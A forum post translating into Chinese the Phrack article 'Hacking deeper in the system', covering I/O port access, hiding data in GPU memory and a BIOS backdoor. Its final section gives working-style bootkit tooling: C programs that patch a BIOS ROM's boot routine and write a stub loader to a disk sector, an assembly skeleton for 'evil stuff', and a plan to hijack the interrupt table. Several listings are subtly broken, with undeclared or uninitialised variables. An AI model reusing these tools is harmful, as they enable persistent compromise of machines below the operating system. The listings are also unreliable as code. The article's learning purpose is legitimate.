首页
社区
课程
招聘
[翻译]Hacking deeper in the system
2012-5-14 13:08 8110

[翻译]Hacking deeper in the system

2012-5-14 13:08
8110
_                                                _
            _/B\_                                            _/W\_
            (* *)            Phrack #64 file 12              (* *)
            | - |                                            | - |
            |   |       Hacking deeper in the system         |   |
            |   |                                            |   |
            |   |               by scythale                  |   |
            |   |                                            |   |
            |   |            scythale@gmail.com              |   |
            (____________________________________________________)

Contents

    1. Abstract
    2. A quick introduction to I/O system
    3. Playing with GPU
    4. Playing with BIOS
    5. Conclusion
    6. References
    7. Thanks

1 摘要

今天,我们发现越来越多的论文侧重于硬件黑客入侵。即使在实际应用中基于硬件的后门还远远没有得
到一个很好的解决方案,这个主题仍是非常重要的,因为一些大公司计划在没有得到我们的
同意的情况下使用一些非常糟糕的设计控制我们的电脑,如DRM和TCPA 。 
无论如何我们不能让他们这么做,现在我们来了解硬件世界... 

本文是一篇介绍硬件后门的小文章(嘿,这是phrack ,我不想解释如何通过RS232接口控制您的咖啡机) 。
即使硬件后门不是一个好主意,它也是一个学习硬件黑客的好开端。作者的目的是给读者关于基础硬件的黑客知识
来准备跟TCPA和其他糟糕的事情 ,像“公司” ,如索尼和微软 作斗争。

本文是基于i386构架的,不包含其他体系结构。但是可以作为研究其他硬件体系结构的基础。很明显本文的
大部分内容只能工作在PC上。PC上的设备如驱动、BIOS、网卡将被讨论,一些关于这些设备的高级用法将被展示。

本文并不是广告或者展示邪恶软件的文章(译者注:3v1L s0fTw4r3 ,我居然看懂了。老外也玩火星文?)。
所以你在这找不到完整功能的后门。作者的目的是给你需要的信息,不是已经完成的作品。这个不是特别困难,
只是需要一点想象力。

为了理解本文,一些x86汇编和体系结构的知识是很有必要的。如果你是这方那跟面的新手,我强烈建议你去读
"The Art of Assembly Programming" 

2. I/O system 的简要介绍

在进入主题前,一些知识必须具备。如果你已经知道在Intel平台上 I/O的工作原理,可以跳过下一段,
否则继续阅读。

本文聚焦于如何访问硬件,I/O system提供了这样的一种访问。众所周知,CPU是计算机的心脏,更准确地说,是
PC的大脑。但是它只会计算。如果没有外设的帮助,cpu什么也干不了。 设备把要计算的数据发给CPU,再获得
返回。I/O system用来连接设备和CPU。处理器访问I/O system的方式同处理器访问内存的方式很相似。
事实上,处理器同所有外设的交流都是通过读写内存中的某些地址实现了.In fact, all the
processors do to communicate with devices is to read and write data
"somewhere in memory" : the I/O system is charged to handle the next steps.
This "somewhere in memory" is represented by an I/O port.(这句话不会翻)。
I/O 端口是CPU数据总线和外设之间的联系。每一个基于I/O 的设备至少占用一个I/O 端口。
通常设备驱动做的事就是操作I/O 端口(是的,大致来说,它们做的仅仅是跟硬件交流)。
Intel构架提供了三种方法操作I/O 端口:
内存映射I/O、Input/Output 映射 I/O 和DMA

内存映射I/O
内存映射I/O允许就像操作内存一样控制I/O 端口。像 mov 这样的指令被用来执行此类操作。
这种机制很简单:把I/O 端口号映射到内存地址。当读/写这些地址时,实际上数据被相应的
I/O 端口发送/接收。因此这种交流的方法就像跟内存交流一样。

Input/Output 映射
Input/Output 映射使用专门的CPU指令集访问内存,在i386平台上,这些指令是
in 和 out

out 254, reg   ; 把寄存器reg里的值写入I/O 端口254
in reg, 254 ; 从I/O 端口254读入数据,并写入寄存器reg
(译者注:作者此处笔误,写反了)

这两条指令的唯一问题是I/O 端口是8位编码的,只允许访问端口0-255。
不幸的是这些端口一般被连接到了内部硬件,如系统时钟。解决这个问题的方法如下:

为了访问255以后的I/O 端口,你必须加载16位的I/O 地址到DX寄存器,使用DX寄存器作为一个
指针指向I/O 地址。例如要写一byte数据到348号I/O 端口,你需要使用下面的指令

mov $378, dx
out al, dx

DMA
DMA代表直接内存访问(Direct Memory Access)。DMA用来增强设备到内存的(数据传输)性能。
在早期计算机里,设备通过使用CPU去从内存传输数据到设备。进入多媒体时代(译者注:一句脏话,不会翻),
当电脑配备了光驱、声卡,CPU不能执行如在播放一部枪战片的同时放映音乐的任务因为用户按下了“CTRL”键。
(译者注:此处翻译不好,这里是说响应设备中断占据了大量的CPU资源)
于是构架师就创造了能解决问题的芯片,DMA控制器诞生了。
DMA控制器允许从内存向设备传输数据时只需要很少的cpu操作。通常cpu初始化DMA传输,然后剩下的工作就由
DMA完成,使得CPU能够去做其他任务。
有趣的是当CPU不再传输,而设备在被使用之前,保护模式不再有效,意味着我们可以读写任意地方。
(The very interestingthing is that since the CPU doesn't actually do the
transfer and sincedevices are being used, protected mode does not interfere,
which means wecan write and read (almost) anywhere we would like to. 这句话很重要,
可能我翻译错误。这么好的东西,老外真牛)。这个想法由来已久,PHC已经把它用在他们的一个phrack作品里。

DMA确实是牛x的东西(译者:作者可以粗口,我也随便点)。他能让我们做一些有趣的事情,当然也要付出代价:
DMA是硬件层的东西,很难操作,以下是几种主要的DMA :

DMA Controller (third-party DMA) :这种DMA很古老,并且效率很低。在现代主板上有一个基本的设计
原则--DMA会为每一个设备处理DMA操作。这种控制器主要用在ISA总线设备上。现在这种控制器不被鼓励使用, 
因为这种设备只能同时设置4个传输任务(只提供个4个通道)。

- DMA Bus mastering (first-party DMA) :提供了比上一种更好的性能。设计原理是允许每一个设备通过
总线控制技术(Bus Mastering)来自己控制DMA。不同于DMA Controller,每一个设备可以控制设备总线去
完成传输任务,允许硬件厂商为他们的设备提供更高效的系统。

除了以上说的三种方法,现代操作系统系统也提供了访问I/O 端口的方法。
这里只介绍GNU/Linux ,一个完美的黑客操作系统。
同很多操作系统一样,Linux也有两种运行模式:用户和内核。
内核已经能很好控制硬件,我就介绍用户模式下如何访问I/O 
我将提供两种基本的方法控制硬件: in*(), out*() and /dev/port 

in/out
n/out指令在Linux用户模式下也可以使用,同样的,
outb(), outw(), outl(), inb(), inw(), inl()是用户/内核都可以调用的I/O操作API,
“Linux Device Drivers”里的几个例子如下:
unsigned    inb(unsigned port);
    void    outb(unsigned char byte, unsigned port);

Read or write byte ports (eight bits wide). The port argument is defined as
unsigned long for some platforms and unsigned short for others. The return
type of inb is also different across architectures.

   unsigned    inw(unsigned port);
   void        outw(unsigned short word, unsigned port);

These functions access 16-bit ports (word wide); they are not available
when compiling for the M68k and S390 platforms, which support only byte
I/O.

   unsigned    inl(unsigned port);
   void        outl(unsigned longword, unsigned port);

These functions access 32-bit ports. longword is either declared as
unsigned long or unsigned int, according to the platform. Like word I/O,
"long" I/O is not available on M68k and S390.
(译者注:这样的函数手册不翻了)

注意,以上是非64位系统的I/O 端口的定义。甚至即使是64位体系结构,端口地址空间最多也使用32位。
唯一的限制是从用户模式访问I/O 端口只能使用iopl() 或 ioperm()函数,有可能被安全机制保护,如
grsec。当然,你也必须是root用户。以下是一个简单的例子访问I/O 端口。

------[io.c

/*
** Just a simple code to see how to play with inb()/outb() functions.
**
** usage is :
**    * read : io r <port address>
**    * write : io w <port address> <value>
**
** compile with : gcc io.c -o io
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/io.h>    /* iopl(2) inb(2) outb(2) */

void        read_io(long port)
{
unsigned int    val;

val = inb(port);
fprintf(stdout, "value : %X\n", val);
}

void        write_io(long port, long value)
{
outb(value, port);
}

int    main(int argc, char **argv)
{
long    port;

if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
port = atoi(argv[2]);
if (iopl(3) == -1)
    {
      fprintf(stderr, "could not get permissions to I/O system\n");
      exit(1);
    }
if (!strcmp(argv[1], "r"))
    read_io(port);
else if (!strcmp(argv[1], "w"))
    write_io(port, atoi(argv[3]));
else
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
return 0;
}

------

/dev/port
/dev/port是一个特殊的文件允许你访问I/O就像操作一个简单文件。
open(), read(),write(), lseek() and close()函数用来操作/dev/port文件。
仅仅需要使用lseek() and read() or write()就可以操作文件地址对应的端口。
下面是一个例子:
------[port.c

/*
** Just a simple code to see how to play with /dev/port
**
** usage is :
**    * read : port r <port address>
**    * write : port w <port address> <value>
**
** compile with : gcc port.c -o port
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

void        read_port(int fd, long port)
{
unsigned int    val = 0;

lseek(fd, port, SEEK_SET);
read(fd, &val, sizeof(char));
fprintf(stdout, "value : %X\n", val);
}

void        write_port(int fd, long port, long value)
{
lseek(fd, port, SEEK_SET);
write(fd, &value, sizeof(char));
}

int    main(int argc, char **argv)
{
int    fd;
long    port;

if (argc < 3)
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
port = atoi(argv[2]);
if ((fd = open("/dev/port", O_RDWR)) == -1)
    {
      fprintf(stderr, "could not open /dev/port\n");
      exit(1);
    }
if (!strcmp(argv[1], "r"))
    read_port(fd, port);
else if (!strcmp(argv[1], "w"))
    write_port(fd, port, atoi(argv[3]));
else
    {
      fprintf(stderr, "usage is : io <r|w> <port> [value]\n");
      exit(1);
    }
return 0;
}

------

好,最后要介绍的是,对于Linux用户要查看本机的I/O端口,只要执行"cat /proc/ioports"

3. Playing with GPU
显卡真是牛x(译者注:作者讲粗口,我也随便了)。当你在电脑上安装这么一个设备,不仅仅是增加了一个设备能呈现更好的图像,同时
也在你的电脑里植入了一个迷你电脑。现在的显卡不仅仅是一片芯片,它有存储器、处理器,甚至有BIOS!
你能从中找到很多好玩的东西。
首先,需要知道显卡到底是什么。显卡能提高电脑的3D渲染性能和为你的显示器发送信号。正如我所说,
这里你能做三件邪恶的事。

1/显卡的存储器 这是嵌入在显卡里的存储器,现代显卡至少有256M的显存,提供了一个很好的地方存储
我们的stuff。

2/ 显卡的图形处理单元(GPU) 它构成了你显卡上的处理单元。大部分的3D操作是数学运算,所以
GPU的指令集是数学运算指令。

3/The BIOS 现在很多设备都有自己的BIOS,显卡也不例外。他们的小BIOS很有趣,因为你的显卡上包含固件。
当你能存取固件,那么你就能做任何事。

我会给出一些利用这三个元素玩一些有趣的想法,但是首先我们要知道如何在显卡上玩。不幸的是,如同玩其他设备
一样,你至少需要显卡的说明书,但是大部分显卡没有开放到提供硬件说明书。不过这也不是一个大问题,我们可以
使用一些简单的API同显卡交流。当然这也确实妨碍了我们做一些事,如在 shellcode里。但是一旦你有了root权限
,一切都不是问题。我要说的API是OpenGl ,如果你对OpenGl不熟悉,可以去看相关教材。OpenGl是一个由
工业级图形技术厂商定义的3D图形API。你的显卡驱动一般都带有这个库,你可以很容易地编写代码使用你显卡的功能。

我们已经知道如何同硬件交流。那么让我们深入到硬件空间。显卡由程序控制把3D场景转化为2D图像输出到屏幕。
GPU是一个计算流水线提供了很多数学操作。我不介绍具体的3D到2D的转换的数学操作因为不是本文重点。
你只需要知道以下几点:
1/GPU用来转化输入(通常那是3D场景,但是没有什么会阻止我们输入别的东西)
2/这些转化是由图形程序使用数学计算操作完成的(同样没有什么会阻止我们使用这些操作干别的事)
3/ 渲染管道是由两个主要的计算过程组成

       - Transformation and Lighting : this step translates 3D objects
    into 2D nets of polygons (usually triangles), generating a
    wireframe rendering.

    - Rasterization : this step takes the wireframe rendering as input
    data and computes pixels values to be displayed on the screen.

好的,让我们看看能做什么。吸引我们的是隐藏数据让它难以找到 和 在CPU之外执行指令。
我不想讨论如何控制显卡固件,因为这需要很多专业知识,且不同的显卡固件也有很多差异,
这不是本文的主题。

首先我们考虑在显卡上执行指令,当然,在显卡上,我们不能做那些在CPU上很常见的如
触发软件中断、操作I/O端口、操作内存等。但是我们能做很多数学操作。例如我们可以
使用显卡的处理器加密和解密数据。同样,也可以使用显卡处理器来加速计算密集的程序。
事实上,很多人已经用显卡做了很多不同的事(http://www.gpgpu.org)。
本文要利用的是显卡的转换功能。GPU提供了一种机制称为"shaders",你可以认为
"shaders"是一个显卡里的可编程钩子,允许你把自己的规则添加到转换过程中去。
这些钩子能够在上面提到的computing pipeline的两个过程中被触发,取决于你使用的
"shaders"。第一个"shaders"是"Vexter shader",用在transformation and lighting这一步
另一个是"Pixel shader",用在rasterization processus这一步。

现在我们有了两个进入显卡的入口,但是还没有讲开发和注射你的代码到显卡。正如在硬件世界玩,以下是
一些方法,跟操作系统和具体硬件相关。Shaders使用自己的编程语言,一些像低级的汇编语言,一些像高级的
c语言,第三种现在常用的高级语言是

- High-Level Shader Language (HLSL) :由微软DirectX 的API提供。
- OpenGL Shading Language (GLSL or GLSlang) :有OpenGl API提供
- Cg :由NVIDIA提供在他们的显卡上使用除DirectX和OpenGl之外的编程方式。Cg有一个由
       NVIDIA提供的免费工具包。

现在我们知道如何在GPU上编程,让我们看看最有趣的数据隐藏。
前面说过,显卡有很大的存储器。当然这些存储器目的是供图形处理使用,而不是存储我们的邪恶代码。
但是,使用shaders我们可以让显卡存储和加密我们的邪恶程序。这确实很简单。
首先,我们在pipeline的开始输入数据,编程shaders来存储和加密数据。
然后用相同的方法取回数据,我们要shaders把数据解密再发给我们。注意,这种加密强度很弱,
因为我们只能用shaders进行计算(译者注:GPU没有条件分支指令),且查看shaders的代码即可还原加密解密算法。

现在我们开始编程控制显卡。但是等等,我们对shaders还是一头雾水,我也不想学3D编程。我们只想测试
如何在显卡上执行指令。学习shaders编程对于理解设备很重要,但是对于不熟悉3D编程的人来说很困难。
nVIDIA最近发布了一个SDK提供了更简单的方法。nVIDIA CUDA提供了新的c语言关键字告诉编译器哪些代码
在cpu上执行,那些代码在GPU上执行。CUDA也提供了各种数学库。
这是一些介绍CUDA使用的代码
------[ 3ddb.c

/*
** 3ddb.c : a very simple program used to store an array in
** GPU memory and make the GPU "encrypt" it. Compile it using nvcc.
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include <cutil.h>
#include <cuda.h>

/*** GPU code and data ***/

char *        store;

__global__ void    encrypt(int key)
{
/* do any encryption you want here */
/* and put the result into 'store' */
/* (you need to modify CPU code if */
/* the encrypted text size is      */
/* different than the clear text   */
/* one). */
}

/*** end of GPU code and data ***/

/*** CPU code and data ***/
CUdevice    dev;

void        usage(char * cmd)
{
fprintf(stderr, "usage is : %s <string> <key>\n", cmd);
exit(0);
}

void        init_gpu()
{
int        count;

CUT_CHECK_DEVICE();
CU_SAFE_CALL(cuInit());
CU_SAFE_CALL(cuDeviceGetCount(&count));
if (count <= 0)
    {
      fprintf(stderr, "error : could not connect to any 3D card\n");
      exit(-1);
    }
CU_SAFE_CALL(cuDeviceGet(&dev, 0));
CU_SAFE_CALL(cuCtxCreate(dev));
}

int        main(int argc, char ** argv)
{
int        key;
char *    res;

if (argc != 3)
    usage(argv[0]);
init_gpu();
CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1])));
CUDA_SAFE_CALL(cudaMemcpy(store,
                argv[1],
                strlen(argv[1]),
                cudaMemcpyHostToDevice));
res = malloc(strlen(argv[1]));
key = atoi(argv[2]);
encrypt<<<128, 256>>>(key);
CUDA_SAFE_CALL(cudaMemcpy(res,
                store,
                strlen(argv[1]),
                cudaMemcpyDeviceToHost));
for (i = 0; i < strlen(argv[1]); i++)
    printf("%c", res[i]);
CU_SAFE_CALL(cuCtxDetach());
CUT_EXIT(argc, argv);
return 0;
}

------

4. Playing with BIOS

BIOS非常有趣,实际上,已经有一些BIOS上的后门发布出来了。
但是让我们再翻新下玩法,看看在这片芯片上我们能干什么。首先,BIOS是基本输入输出系统。
这片芯片掌管启动过程、低级的配置、在早期加载boot loader和操作系统时提供一组功能。
实际上,在启动时,它首先控制计算机,然后做硬件检查,然后初始化中断分配表(IDT)来提供
一些重要的中断( features via interruptions),最后就按照配置从可引导设备上的boot loader。
例如,如果你设置BIOS首先从光驱启动,然后是硬盘,BIOS在启动时就会首先尝试加在光驱上的操作系统,
否则才是从硬盘启动。BIOS上的代码会被首先执行。BIOS后门的有趣之处是给你系统的深层控制和一种绕过
任何安全系统的有效方法(在我们代码在系统运行前就已经执行了)。但是也有很大的缺陷--可移植性。

BIOS后门已经有很好的作品发布了,但我主要讲我们在控制了BIOS的ROM存储器后能干什么。
BIOS代码被保存在主板上的一片芯片内。早期的BIOS保存在不可写的ROM里,后来制造商有了聪明的
办法使BIOS可写。他们使用BIOS flasher,可以通过I/O系统与之交流。这片闪存保存的BIOS可以读/写,
提供了实现BIOS后门的条件。但是,BIOS芯片是非常多的,我不介绍具体的芯片,以下是一些能够帮助你的信息。

/dev/bios是一个由OpenBIOS创办的工具。是一个内核模块用来更好的控制不同种类的BIOS。它能够读写一些
BIOS代码,包括网卡BIOS代码。这是一个非常棒的工具。

Award BIOS逆向工程向导是一个非常棒的想向导,能提供你想要的Award BIOS的任何信息。
即使你每没有Award BIOS,你也应该阅读此文。

Wim's BIOS(http://www.wimsbios.com/)是可以找到各种BIOS代码的网站。

为了快速上手,我们使用虚拟机,防止你损坏你的BIOS。我推荐你使用Bochs,因为它是免费
开源的,更主要的是它提供了注释详细的代码去模拟BIOS。但是首先,我们看看BIOS代码如何工作。
如前所述,在启动时BIOS是最先控制你的计算机的实体,有趣的是,要开始BIOS逆向工程之旅,我们
甚至不需要使用闪存。在启动初期,BIOS被映射到内存的特殊位置,占据一片专有空间。我们要做的就是
从内存读这些16位的汇编代码。BIOS的内存空间从0xf0000开始到0x100000结束。
一种简单的从内存转储BIOS的方法是
% dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040
% objdump -b binary -m i8086 -D BIOS.dump

你应该注意到BIOS里包含数据,such a dump isn't accurate
as you will have a shift preventing code to be disassembled correctly. To
address this problem, you should use the entry points table provided
farther and 使用 objdump 的 '--start-address'选项.

当然,你在内存看到的代码很难恢复到芯片上,但是得到这些非加密的文本也有很大的帮助。
开始看这段有趣代码之前,你需要看看Bochs BIOS的源代码

       30 // ROM BIOS compatability entry points:
    31 // ===================================
    32 // $e05b ; POST Entry Point
    33 // $e2c3 ; NMI Handler Entry Point
    34 // $e3fe ; INT 13h Fixed Disk Services Entry Point
    35 // $e401 ; Fixed Disk Parameter Table
    36 // $e6f2 ; INT 19h Boot Load Service Entry Point
    37 // $e6f5 ; Configuration Data Table
    38 // $e729 ; Baud Rate Generator Table
    39 // $e739 ; INT 14h Serial Communications Service Entry Point
    40 // $e82e ; INT 16h Keyboard Service Entry Point
    41 // $e987 ; INT 09h Keyboard Service Entry Point
    42 // $ec59 ; INT 13h Diskette Service Entry Point
    43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point
    44 // $efc7 ; Diskette Controller Parameter Table
    45 // $efd2 ; INT 17h Printer Service Entry Point
    46 // $f045 ; INT 10 Functions 0-Fh Entry Point
    47 // $f065 ; INT 10h Video Support Service Entry Point
    48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh)
    49 // $f841 ; INT 12h Memory Size Service Entry Point
    50 // $f84d ; INT 11h Equipment List Service Entry Point
    51 // $f859 ; INT 15h System Services Entry Point
    52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \
    (lower 128 characters)
    53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point
    54 // $fea5 ; INT 08h System Timer ISR Entry Point
    55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST
    56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler
    57 // $ff54 ; INT 05h Print Screen Service Entry Point
    58 // $fff0 ; Power-up Entry Point
    59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY
    60 // $fffe ; System Model ID

这些偏移指明了在内存的什么位置去找到这些特殊的BIOS功能,同时,它们是标准的,你也可以在你自己的BIOS上使用。
例如BIOS中断19h位于内存地址0xfe6f2,它的功能是加载Bootloader到内存并调到那里执行 Bootloader。
在修改BIOS代码前,我们有一个问题要解决:BIOS的空间太小,不能放下一个完整的后门。我们有两种方法去获得更多的
空间:

1/我们使用BIOS 19h中断来加载我们的Bootloader(当然在我们的代码完成后还是要调用真实的Bootloader).
当然这种方式将带来除了BIOS之外的媒介也将被修改的问题(译者注:硬盘和内存也会被修改),但是除非BIOS提供
足够的空间,我们别无选择.

2/如果你只想停留在BIOS空间,你可以在一些BIOS模块上做很少的控制.一天,处理器厂商对BIOS设备有了想法.
处理器厂商准备给处理器提供微程序升级修复BUG而不用召回产品(记得f00f bug 吗
(译者注:我不知道.见http://wangcong.org/blog/?p=198)).这个想法是BIOS存贮升级的微程序,在启动时
注入到cpu里,因为微程序的修改不是永远的.这就是所谓的"BIOS更新".当然,这些微程序占据了空间,我们可以对这些
微程序进行注入 下钩子 ,使它不再有用,抹去它们存储我们自己的代码.

实现方案2比方案1更复杂.所以我们实现方案1,让cpu加载bootloader之前先加载我们的代码.
这很容易,BochsBIOS的源代码提供了方便,你把它同你自己的BIOS dump比较会发现基本相同.
我们最关心的是加载bootloader的BIOS 19h中断.
让我们看看最关心的代码:

       7238   // We have to boot from harddisk or floppy
       7239   if (bootcd == 0) {
       7240     bootseg=0x07c0;
          7241 
       7242 ASM_START
       7243     push bp    
       7244     mov bp, sp
          7245 
       7246     mov ax, #0x0000
       7247     mov _int19_function.status + 2[bp], ax    
       7248     mov dl, _int19_function.bootdrv + 2[bp]
       7249     mov ax, _int19_function.bootseg + 2[bp]
       7250     mov es, ax         ;; segment        
       7251     mov bx, #0x0000    ;; offset        
       7252     mov ah, #0x02      ;; function 2, read diskette sector
       7253     mov al, #0x01      ;; read 1 sector    
       7254     mov ch, #0x00      ;; track 0        
       7255     mov cl, #0x01      ;; sector 1        
       7256     mov dh, #0x00      ;; head 0
       7257     int #0x13          ;; read sector
       7258     jnc int19_load_done
       7259     mov ax, #0x0001
       7260     mov _int19_function.status + 2[bp], ax
       7261 
       7262 int19_load_done:
       7263     pop bp
       7264 ASM_END

int #0x13 中断用来读写存储设备.我们认为BIOS尝试加载设备第一块扇区上的BootLoader.
有趣的是只要更改一个寄存器里的值就可以让BIOS加载我们的代码.
例如,如果我们的代码唯位于硬盘的 0xN 号扇区,我们只要把指令
'mov cl, #0x01' 改为'mov cl, #0xN',就可以让计算机启动和重启时先加载我们的代码.
因为我们能操作磁盘扇区,所以我们可以把我们的代码加载到任何我们想存放的位置.
这儿有三段代码能帮助你更快地上手.

第一个,inject.c,修改BIOS的ROM,让我们的代码先被加载.它需要/dev/bios 才能执行.
第二个,code.asm,是一个骨架去填充你的代码并被BIOS加载.
store.c,在目的扇区注入code.asm

--[ infect.c

#define _GNU_SOURCE

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define BUFSIZE        512
#define BIOS_DEV    "/dev/bios"

#define CODE        "\xbb\x00\x00" /* mov bx, 0 */ \
            "\xb4\x02"      /* mov ah, 2 */ \
            "\xb0\x01"      /* mov al, 1 */ \
            "\xb5\x00"      /* mov ch, 0 */ \
            "\xb6\x00"      /* mov dh, 0 */ \
            "\xb1\x01"      /* mov cl, 1 */ \
            "\xcd\x13"      /* int 0x13 */

#define TO_PATCH    "\xcd\x13"     /* mov cl, 1 */

#define SECTOR_OFFSET    1

void    usage(char *cmd)
{
fprintf(stderr, "usage is : %s [bios rom] <sector> <infected rom>\n", cmd);
exit(1);
}

/*
** This function looks in the BIOS rom and search the int19h procedure.
** The algorithm used sucks, as it does only a naive search. Interested
** readers should change it.
*/
char *    search(char * buf, size_t size)
{
return memmem(buf, size, CODE, sizeof(CODE));
}

void    patch(char * tgt, size_t size, int sector)
{
char        new;
char *    tmp;

tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH));
new = (char)sector;
tmp[SECTOR_OFFSET] = new;
}

int        main(int argc, char **argv)
{
int        sector;
size_t    i;
size_t    ret;
size_t           cnt;
int        devfd;
int        outfd;
char *    buf;
char *    dev;
char *    out;
char *    tgt;

if (argc == 3)
    {
      dev = BIOS_DEV;
      out = argv[2];
      sector = atoi(argv[1]);
    }
else if (argc == 4)
    {
      dev = argv[1];
      out = argv[3];
      sector = atoi(argv[2]);
    }
else
    usage(argv[0]);
if ((devfd = open(dev, O_RDONLY)) == -1)
    {
      fprintf(stderr, "could not open BIOS\n");
      exit(1);
    }
if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1)
    {
      fprintf(stderr, "could not open %s\n", out);
      exit(1);
    }
for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret)
    buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE);
if (ret == -1)
    {
      fprintf(stderr, "error reading BIOS\n");
      exit(1);
    }
if ((tgt = search(buf, cnt)) == NULL)
    {
      fprintf(stderr, "could not find code to patch\n");
      exit(1);
    }
patch(tgt, cnt, sector);
for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret)
    ;
if (ret == -1)
    {
      fprintf(stderr, "could not write patched ROM to disk\n");
      exit(1);
    }
close(devfd);
close(outfd);
free(buf);
return 0;
}

---

--[ evil.asm

;;; 
;;; A sample code to be loaded by an infected BIOS instead of
;;; the real bootloader. It basically moves himself so he can
;;; load the real bootloader and jump on it. Replace the nops
;;; if you want him to do something usefull.
;;; 
;;; usage is :
;;;        no usage, this code must be loaded by store.c
;;;
;;; compile with : nasm -fbin evil.asm -o evil.bin
;;; 
    
BITS    16            
ORG    0            

;; we need this label so we can check the code size
entry:
    
    jmp    begin        ; jump over data

;; here comes data
drive    db    0        ; drive we're working on

            
begin:

    mov    [drive], dl    ; get the drive we're working on
    
    ;; segments init
    mov    ax, 0x07C0
    mov    ds, ax
    mov    es, ax

    ;; stack init
    mov    ax, 0
    mov    ss, ax
    mov    ax, 0xffff
    mov    sp, ax

    ;; move out of the zone so we can load the TRUE boot loader
    mov    ax, 0x7c0
    mov    ds, ax
    mov    ax, 0x100
    mov    es, ax
    mov    si, 0
    mov    di, 0
    mov    cx, 0x200
    cld
    rep    movsb
    
    ;; jump to our new location
    jmp    0x100:next

    
next:                ;; to jump to the new location
    
    ;; load the true boot loader
    mov    dl, [drive]
    mov    ax, 0x07C0
    mov    es, ax
    mov    bx, 0
    mov    ah, 2
    mov    al, 1
    mov    ch, 0
    mov    cl, 1
    mov    dh, 0
    int    0x13

    ;; do your evil stuff there (ie : infect the boot loader)
    nop
    nop
    nop    
    
    ;; execute system
    jmp     07C0h:0

    
size    equ     $ - entry
%if size+2 > 512
    %error "code is too large for boot sector"
%endif

times   (512 - size - 2) db 0    ; fill 512 bytes
db      0x55, 0xAA        ; boot signature

---

--[ store.c

/*
** code to be used to store a fake bootloader loaded by an infected BIOS
**
** usage is :
**        store <device to store on> <sector number> <file to inject>
**
** compile with : gcc store.c -o store
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

#define CODE_SIZE    512
#define SECTOR_SIZE    512

void    usage(char *cmd)
{
fprintf(stderr, "usage is : %s <device> <sector> <code>", cmd);
exit(0);
}

int    main(int argc, char **argv)
{
int    off;
int   i;
int   devfd;
int    codefd;
int   cnt; 
char code[CODE_SIZE];

if (argc != 4)
    usage(argv[0]);
if ((devfd = open(argv[1], O_RDONLY)) == -1)
    { 
      fprintf(stderr, "error : could not open device\n");
      exit(1);
    } 
off = atoi(argv[2]);
if ((codefd = open(argv[3], O_RDONLY)) == -1)
    { 
      fprintf(stderr, "error : could not open code file\n");
      exit(1);
    } 
for (cnt = 0; cnt != CODE_SIZE; cnt += i)
    if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) 
      { 
    fprintf(stderr, "error reading code\n");
    exit(1);
      }
lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET);
for (cnt = 0; cnt != CODE_SIZE; cnt += i)
    if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) 
      { 
    fprintf(stderr, "error reading code\n");
    exit(1);
      }
close(devfd);
close(codefd);
printf("Device infected\n");
return 0;                   
}

---

好的,现在我们可以使用BIOS加载代码了.现在看看我们能做什么有趣的事.

首先我们能劫持BIOS中断,获得足够的空间而不需要逆向工程.

其次我们控制加载BootLoader运行我们的代码.我们甚至可以不用加载原来的内核,
而加载我们自己的假内核;或者连BootLoader都是假的,内核也可以作假了,一切随你的便.

最后,混合IDTR劫持,控制BIOS能保证完全的控制.
我们可以控制BIOS加载我们自己的Bootloader,这个Bootloader会加载一个我们自己设置IDT的
迷你OS,然后,因为我们劫持了IDTR寄存器(有很多方法做到这一点,起初控制目标系统的启动是防止它擦出我们的
IDT),然后我们加载真实的Bootloader和真实的内核.此时我们的操作系统通过IDT中断劫持了整个OS,劫持了
OS上的所有事件.我们甚至可以使用系统时钟在两个OS之间调度:时钟中断将被我们的系统捕获,可以10%给我们的
OS,90%给真实的OS,我们可以通过跳转IDT执行我们的代码或者交控制权给真实的OS.

你可以开始自己控制BIOS了.但是我建议你在真实测试之前使用Bochs.
看着一阵厌烟雾从某人的主板升起是一件很开心的事.

[培训]《安卓高级研修班(网课)》月薪三万计划,掌 握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞3
打赏
分享
最新回复 (8)
雪    币: 4581
活跃值: (942)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
b23526 2012-5-14 15:11
2
0
刚才强沙发失败,这个是沙发吗?
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
loongzyd 10 2012-5-14 15:57
3
0
是的,做稳了哈。
雪    币: 207
活跃值: (26)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
正happy 1 2012-5-14 17:21
4
0
占楼膜拜
雪    币: 285
活跃值: (16)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
liuyq 2012-5-15 01:25
5
0
这片文章看得有些累,感觉相当不错啊,收藏了
雪    币: 285
活跃值: (16)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
liuyq 2012-5-15 01:27
6
0
